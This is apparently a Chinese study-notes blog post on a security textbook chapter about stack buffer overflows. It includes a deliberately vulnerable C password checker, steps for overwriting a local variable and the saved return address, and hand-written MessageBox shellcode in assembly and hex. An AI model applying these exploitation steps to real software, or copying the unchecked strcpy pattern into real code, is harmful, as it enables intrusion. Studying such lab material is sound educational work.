0day安全 | Chapter 2 栈溢出原理与实践

启程

会挽雕弓如满月，西北望，射天狼。

为了省空间，从本章开始，粘贴代码时会把作者的大段注释去掉。

首先还是要深入理解程序编译、链接、运行的过程。根据我的经验，在这些方面推荐三本书：

• CSAPP
• 程序员的自我修养
• Windows PE权威指南

栈的思想应用于程序设计和执行实在是非常巧妙！

函数调用约定

其主要包括两方面的内容：

• 参数入栈顺序
• 谁负责恢复堆栈平衡（调用方还是被调用方）

对于Visual C++来说，支持以下3种函数调用约定。若需明确使用某种调用约定，需要在函数前加上调用约定声明，否则默认使用_stdcall：

对于C++类成员函数来说，它的参数额外包含一个this指针，在Windows平台这个指针一般通过ECX寄存器传递，而若使用GCC编译，则会作为最后一个参数压入栈中。

具体到汇编指令，可以体验一下（以下为_cdecl）：

; 调用前
push 参数3
push 参数2
push 参数1
call 函数地址
; call 完成两件事：
;   1. 把返回地址压入栈（ESP要-4）
;   2. 将EIP更改为要转到的函数地址

; ...

; 下面是被调用函数
push ebp ; 保存旧栈帧底部
mov ebp, esp ; 设置新栈帧底部
sub esp, xxx ; 分配空间
push ebx ; 保存寄存器（可选，按需） 
push edi ; 保存寄存器（可选，按需）
push esi ; 保存寄存器（可选，按需）

; ...

; 下面是被调用函数的返回阶段
pop esi ; 恢复寄存器（与之前的push对应）
pop edi ; 恢复寄存器（与之前的push对应） 
pop ebx ; 恢复寄存器（与之前的push对应）
add esp, xxx ; 回收分配的空间
pop ebp ; 恢复旧栈帧
retn
; retn 完成两件事：
;   1. EIP = [ESP]
;   2. ESP += 4
;   另外，`retn 4`则代表在ESP在上面的基础上再加4

; ...

; 下面是回到调用方以后
add esp, 12 ; 回收最初push参数3、2、1用到的空间

实际测试时发现一个有意思的地方：测试程序中的被调用方在retn前做了如下的操作：

事实上，add esp, xxx与mov esp, ebp可以达到相同的目的，即恢复ESP。这里多出了一个比较，即检查EBP是否被改动过。可能是出于安全考虑？

注意！本书作者说书中默认全部采用_stdcall调用方式，但是经过我的验证，本书采用的应该是如上所演示的_cdecl方式（除非是我下载的随书附带文件并不是作者原来提供的）。有IDA Pro的截图证明如下：

首先是IDA Pro的判断：

接着是根据函数的行为判断。调用方：

被调用方：

可以发现，是调用方在调用后通过add esp, 4维护了堆栈平衡。

OK。前面算是复习。下面进入动手环节。

覆盖变量

本节实验用到的代码如下：

#include <stdio.h>

#define PASSWORD "1234567"

int verify_password (char *password)
{
	int authenticated;
	char buffer[8];// add local buff
	authenticated=strcmp(password,PASSWORD);
	strcpy(buffer,password);//over flowed here!	
	return authenticated;
}

main()
{
	int valid_flag=0;
	char password[1024];
	while(1){
		printf("please input password:       ");
		
		scanf("%s",password);
		
		valid_flag = verify_password(password);
		
		if(valid_flag){
			printf("incorrect password!\n\n");
		}
		else{
			printf("Congratulation! You have passed the verification!\n");
			break;
		}
	}
}

要求是在strcpy()环节覆盖掉authenticated，使得输入错密码也能跳转到正确分支。

分析一下：authenticated是strcmp的返回值，当password比PASSWORD大时，它是1,即0x00000001；反之则是-1，在内存中即0xFFFFFFFF。如果在buffer和authenticated之间没有多余的空间（事实上可能会有，所以最好还是动态调试分析计算一下），那么我们输入8个字母，将使得buffer字符串的尾零被填入authenticated的低位，恰好能够覆盖掉0x00000001中的1，达到绕过判断的目的。

输入aaaaaaaa，成功：

输入00000000，失败：

这是因为00000000从字符角度来说小于01234567，所以authenticated是0xFFFFFFFF，而我们只能覆盖掉最低位，所以最终它是0xFFFFFF00，显然不能绕过判断。

当然，你可以通过后面的介绍的劫持控制流等手段绕过验证，但单从覆盖变量的角度来说，由于只有authenticated为0时才算绕过，而strcpy()遇到尾零会停止复制，所以这里没有其他好的方法使得authenticated的四个字节都被覆盖。因此，所有小于01234567的字符串都无法使用。

控制EIP

本节对上节代码main函数稍作修改，使其从文件中读取输入，因为我们希望给EIP一个合理的地址，这样的地址往往带有不可见字符，使用键盘上的按键无法直接输入：

int verify_password (char *password)
{
    // ...
}
main()
{
	int valid_flag=0;
	char password[1024];
	FILE * fp;
	if(!(fp=fopen("password.txt","rw+"))){
		exit(0);
	}
	fscanf(fp,"%s",password);
	valid_flag = verify_password(password);
	if(valid_flag){
		printf("incorrect password!\n");
	}
	else{
		printf("Congratulation! You have passed the verification!\n");
	}
	fclose(fp);
}

我们希望覆盖掉verify_password的返回地址，那么要做的就是：

1. 计算buffer到返回地址处的偏移量
2. 在对应位置放入一个地址

偏移量很好计算：

从图中可以发现，ebp+0xC是buffer的起始地址，我们知道ebp+4即返回地址的存储位置。所以偏移量为0xC + 0x4 + 0x4。

可以发现我们要希望的目的地址是0x00401122，即成功分支。

我们使用二进制编辑器修改输入为：

再次运行，成功。出现错误是因为我们把旧的EBP覆盖掉了，暂不去管它：

代码植入

本节将进行Shellcode的注入和执行。代码修改如下，主要做了两处修改：

1. 增加buffer的容量，从而能够注入代码
2. 初始化user32.dll，方便在Shellcode中调用MessageBox函数

#include <stdio.h>
#include <windows.h>
#define PASSWORD "1234567"
int verify_password (char *password)
{
	int authenticated;
	char buffer[44];
	authenticated=strcmp(password,PASSWORD);
	strcpy(buffer,password);//over flowed here!	
	return authenticated;
}
main()
{
	int valid_flag=0;
	char password[1024];
	FILE * fp;
	LoadLibrary("user32.dll");//prepare for messagebox
	if(!(fp=fopen("password.txt","rw+")))
	{
		exit(0);
	}
	fscanf(fp,"%s",password);
	valid_flag = verify_password(password);
	if(valid_flag)
	{
		printf("incorrect password!\n");
	}
	else
	{
		printf("Congratulation! You have passed the verification!\n");
	}
	fclose(fp);
}

我们的目标是劫持控制流到buffer，调用MessageBox函数，弹窗（和XSS好像啊），步骤是：

1. 计算buffer到返回地址处的偏移量
2. 在对应位置放入buffer首地址
3. 在buffer中放入Shellcode

偏移量计算结果为52。后两步其实就是Shellcode的编写。根据动态调试（无ASLR和栈不可执行），buffer首地址为0x0012FAF0。

关于MessageBox：

int MessageBox(
    hWnd, // handle to owner window
    lpText, // text in message box
    lpCaption, // message box title
    uType // message box style
);

其中hWnd和uType均为NULL即可，另外两个参数我们均设置为good-job。

注意。系统中并不存在真正的MessageBox函数，而是会用MessageBoxA(ASCII)或者MessageBoxW(Unicode)。

为了用汇编语言调用MessageBox，我们还需要MessageBox函数地址。其地址为user32.dll在系统中的加载地址与MessageBox在库中的偏移地址相加。我们通过Dependency Walker随便打开一个带GUI的PE文件便可查看这些数值：

如图，最终MessageBox地址为0x77D10000 + 0x000407EA = 0x77D507EA。

然后就是编写Shellcode：

xor ebx, ebx
push ebx
push 626F6A2D
push 646F6F67
mov eax, esp
push ebx ; uType
push eax ; lpCaption
push eax ; lpText
push ebx ; hWnd
mov eax, 0x77D507EA
call eax

其二进制码如下：

33 DB 53 68 2D 6A 6F 62 68 67 6F 6F 64 8B C4 53 50 50 53 B8 EA 07 D5 77 FF D0

buffer中的其余空间我们用nop（二进制为90）填充，直到返回地址处。最终形成的注入代码如下：

测试：

成功，但同样出现错误，暂不管它。

总结

本章用的环境还是十分简单，没有涉及各种漏洞缓解措施。

之前研究过Linux下的栈溢出，所以到这里还是轻车熟路、毫无压力的。栈溢出的确很有意思啊。不过我更希望在后面跟作者学到堆溢出技术。

继续加油啦。